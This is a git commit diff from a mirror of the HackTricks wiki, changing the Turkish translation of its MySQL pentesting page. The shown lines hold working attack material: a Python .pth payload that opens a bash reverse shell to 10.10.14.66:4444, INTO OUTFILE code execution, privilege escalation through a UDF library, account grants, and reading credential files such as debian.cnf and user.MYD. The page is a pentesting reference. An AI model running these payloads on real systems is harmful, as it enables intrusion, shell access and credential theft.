mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to tr
This commit is contained in:
parent
9fb3855283
commit
69b6150015
@ -1,10 +1,5 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Temel Bilgiler**
|
||||
@ -41,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||
|
||||
### Herhangi bir ikili veriyi yazın
|
||||
### Herhangi bir ikili veri yazın
|
||||
```bash
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
@ -119,10 +114,10 @@ Dokümanlarda her bir ayrıcalığın anlamını görebilirsiniz: [https://dev.m
|
||||
Klasik `INTO OUTFILE` ilkesini kötüye kullanarak, daha sonra **Python** betikleri çalıştıran hedeflerde *keyfi kod yürütme* elde etmek mümkündür.
|
||||
|
||||
1. `INTO OUTFILE` kullanarak, `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine özel bir **`.pth`** dosyası bırakın (örneğin `.../lib/python3.10/site-packages/`).
|
||||
2. `.pth` dosyası, her seferinde yorumlayıcı başlatıldığında çalıştırılacak keyfi Python kodu ile başlayan `import ` ile başlayan *tek bir satır* içerebilir.
|
||||
3. Yorumlayıcı, bir CGI betiği tarafından örtük olarak çalıştırıldığında (örneğin `/cgi-bin/ml-draw.py` shebang `#!/bin/python` ile) yük, web sunucusu süreci ile aynı ayrıcalıklarla yürütülür (FortiWeb bunu **root** olarak çalıştırdı → tam ön kimlik doğrulama RCE).
|
||||
2. `.pth` dosyası, her seferinde yorumlayıcı başlatıldığında yürütülecek keyfi Python kodu ile başlayan `import ` ile başlayan *tek bir satır* içerebilir.
|
||||
3. Yorumlayıcı, bir CGI betiği tarafından örtük olarak çalıştırıldığında (örneğin `/cgi-bin/ml-draw.py` shebang ile `#!/bin/python`) yükleme, web sunucusu süreci ile aynı ayrıcalıklarla yürütülür (FortiWeb bunu **root** olarak çalıştırdı → tam ön kimlik doğrulama RCE).
|
||||
|
||||
Örnek `.pth` yükü (tek satır, son SQL yüküne boşluk eklenemez, bu nedenle hex/`UNHEX()` veya dize birleştirme gerekebilir):
|
||||
Örnek `.pth` yükleme (tek satır, son SQL yüklemesine boşluk eklenemez, bu nedenle hex/`UNHEX()` veya dize birleştirme gerekebilir):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
@ -165,9 +160,9 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Başlangıç PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Saldırıya genel bir bakış bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**Saldırıya genel bir bakış burada bulunabilir:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -186,12 +181,12 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
|
||||
MySQL hizmetlerinin yapılandırmasında, işletim ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılmaktadır:
|
||||
|
||||
- **`user`** ayarı, MySQL hizmetinin çalışacağı kullanıcıyı belirlemek için kullanılır.
|
||||
- **`user`** ayarı, MySQL hizmetinin çalıştırılacağı kullanıcıyı belirlemek için kullanılır.
|
||||
- **`password`** MySQL kullanıcısına bağlı olan şifreyi belirlemek için uygulanır.
|
||||
- **`admin_address`** yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
|
||||
- **`admin_address`**, yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
|
||||
- **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir.
|
||||
- **`sql_warnings`** uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizelerinin üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir.
|
||||
- **`secure_file_priv`** veri içe aktarma ve dışa aktarma işlemlerinin kapsamını kısıtlayarak güvenliği artırır.
|
||||
- **`sql_warnings`**, uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizelerinin üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir.
|
||||
- **`secure_file_priv`** ile veri içe ve dışa aktarma işlemlerinin kapsamı güvenliği artırmak için kısıtlanır.
|
||||
|
||||
### Yetki Yükseltme
|
||||
```bash
|
||||
@ -211,11 +206,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Yetki Yükseltme kütüphanesi aracılığıyla
|
||||
### Yetki Yükseltme Kütüphanesi Üzerinden
|
||||
|
||||
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekir. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için, mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecektir.
|
||||
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecek.
|
||||
|
||||
Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınıza uygun olanı seçin.
|
||||
Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınız olanı seçin.
|
||||
|
||||
Eğer bu kütüphanelere **sahip değilseniz**, ya **onları arayabilir** ya da bu [**linux C kodunu**](https://www.exploit-db.com/exploits/1518) indirip **linux zafiyetli makine içinde derleyebilirsiniz**:
|
||||
```bash
|
||||
@ -264,7 +259,7 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**.
|
||||
|
||||
Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz_._
|
||||
Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz._
|
||||
|
||||
Bunları çıkarmak için:
|
||||
```bash
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user